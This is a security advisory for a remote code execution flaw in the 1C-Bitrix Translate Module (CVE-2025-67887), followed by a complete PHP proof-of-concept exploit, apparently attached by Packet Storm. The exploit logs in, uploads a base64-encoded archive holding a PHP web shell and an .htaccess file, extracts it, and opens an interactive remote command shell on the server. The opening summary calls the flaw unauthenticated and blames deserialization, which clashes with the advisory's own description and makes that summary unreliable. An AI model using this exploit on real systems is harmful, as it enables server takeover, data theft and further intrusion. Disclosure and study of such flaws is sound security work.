1C-Bitrix 25.100.500 Remote Code Execution

1C-Bitrix 25.100.500, and potentially earlier versions, contained a critical Remote 1C-Bitrix 25.100.500, and potentially earlier versions, contained a critical Remote Code Execution (RCE) vulnerability.

This flaw allowed unauthenticated attackers to execute arbitrary code on the server hosting the 1C-Bitrix instance. The vulnerability was often linked to insecure PHP deserialization.

Successful exploitation could lead to full system compromise, enabling data theft, website defacement, or further network attacks. It posed a severe risk to affected installations.

Users were strongly advised to apply the latest security updates and patches provided by 1C-Bitrix to mitigate this vulnerability promptly.

------------------------------------------------------------------------------
1C-Bitrix <= 25.100.500 (Translate Module) Remote Code Execution Vulnerability
------------------------------------------------------------------------------


[-] Software Link:

https://www.1c-bitrix.ru


[-] Affected Versions:

Version 25.100.500 and prior versions.


[-] Vulnerability Description:

The vulnerability is located within the "Translate Module", which
allows users to upload and extract archive files into a temporary
directory. However, the application fails to properly verify the
contents of these archives before extracting them. This can be
exploited by malicious users to upload and execute arbitrary PHP code
by including a PHP file along with a specially crafted .htaccess file
within the archive.

Successful exploitation of this vulnerability requires an account with
"SOURCE" and "WRITE" permissions for the "Translate Module".


[-] Proof of Concept:

https://karmainsecurity.com/pocs/CVE-2025-67887.php


[-] Solution:

No official solution is currently available.


[-] Disclosure Timeline:

[22/10/2025] - Vendor notified, no response
[03/11/2025] - Vendor contacted again, no response
[12/11/2025] - CVE identifier requested
[12/12/2025] - CVE identifier assigned
[15/12/2025] - Public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures program (cve.org) has
assigned the name CVE-2025-67887 to this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Original Advisory:

http://karmainsecurity.com/KIS-2025-08


--- proof of concept (attached by Packet Storm) ---

<?php

/*
------------------------------------------------------------------------------
1C-Bitrix <= 25.100.500 (Translate Module) Remote Code Execution Vulnerability
------------------------------------------------------------------------------

author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: https://www.1c-bitrix.ru

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] Original Advisory:

https://karmainsecurity.com/KIS-2025-08
*/

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[-] cURL extension required!\n");

if ($argc != 4) die("\nUsage: php $argv[0] <URL> <Username> <Password>\n\n");

$url = $argv[1];
$user = $argv[2];
$passwd = $argv[3];
$ch = curl_init();

@unlink('./cookies.txt');

curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, './cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, './cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
//curl_setopt($ch, CURLOPT_PROXY, 'http://127.0.0.1:8080');

print "[+] Logging into Bitrix\n";

curl_setopt($ch, CURLOPT_URL, "{$url}");
curl_setopt($ch, CURLOPT_POSTFIELDS, "AUTH_FORM=1&TYPE=AUTH&USER_LOGIN={$user}&USER_PASSWORD={$passwd}");

if (!preg_match("/BITRIX_SM_LOGIN/", curl_exec($ch))) die("[-] Login failed!\n");

curl_setopt($ch, CURLOPT_POST, false);

if (!preg_match('/"bitrix_sessid":"([^"]+)"/', curl_exec($ch), $csrf)) die("[-] CSRF token not found!\n");

print "[+] Uploading malicious archive\n";

@file_put_contents("rce.tar.gz", base64_decode("H4sIAAAAAAAAA+3VQWvCMBQH8F71U+Qw6DyoTaftwaKH4XCHwVDZZRsla582ENvQRPC0z75Y2Jg7THZwIvx/lxfa9/qSlkdNQUr1dKG90wmcKBrsI4+HwffY4GHo8WEQN8to6AWc3wy4x4IT7unL1lhRM+bRWu5+yzt2/0IlE/ftma5laZmfOv6IaWGMLert9ZswFA3SnLIqp+urdDGdP03nz/5suXxMb/3XTmf0o3Qybp/7RPAXvcKKLCNjTtjj2PyHYbyf/yiOY87d4DfzH2L+/0Nyv3qo8q0itqnydCM31MvG7VZyJxUZ9s5e9v8Gd6G1IDsTZa6oZkJrJTNhZVX2d93CWp13XZar6jdl43bS/3ysWx90cHlNAxfTlRJrRuValsSq8qDo3K8FAAAAAAAAAAAAAAAAAAAA4GJ8AJ02kYkAKAAA"));

curl_setopt($ch, CURLOPT_URL, "{$url}bitrix/services/main/ajax.php?action=translate.asset.grabber.upload");
curl_setopt($ch, CURLOPT_POSTFIELDS, ["sessid" => $csrf[1], "tarFile" => new CURLFile("rce.tar.gz")]);

if (!preg_match('/"status":"success"/', curl_exec($ch))) die("[-] Upload failed!\n");

print "[+] Extracting malicious archive\n";

curl_setopt($ch, CURLOPT_URL, "{$url}bitrix/services/main/ajax.php?action=translate.asset.grabber.extract");
curl_setopt($ch, CURLOPT_POSTFIELDS, ["sessid" => $csrf[1]]);

if (!preg_match('/"status":"success"/', curl_exec($ch))) die("[-] Extract failed!\n");

curl_setopt($ch, CURLOPT_URL, "{$url}bitrix/services/main/ajax.php?action=translate.asset.grabber.apply");
curl_setopt($ch, CURLOPT_POSTFIELDS, ["sessid" => $csrf[1], "PROCESS_TOKEN" => 1, "languageId" => "en"]);

if (!preg_match('/upload\\\\\/tmp[^"]+"/', curl_exec($ch), $path)) die("[-] Path not found!\n");

$path = str_replace('\/', '/', substr($path[0], 0, -8));

print "[+] Launching shell\n";

curl_setopt($ch, CURLOPT_URL, "{$url}{$path}/shell.php");
curl_setopt($ch, CURLOPT_POST, false);

while(1)
{
print "\nbitrix-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: ".base64_encode($cmd)]);
preg_match('/____(.*)____/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}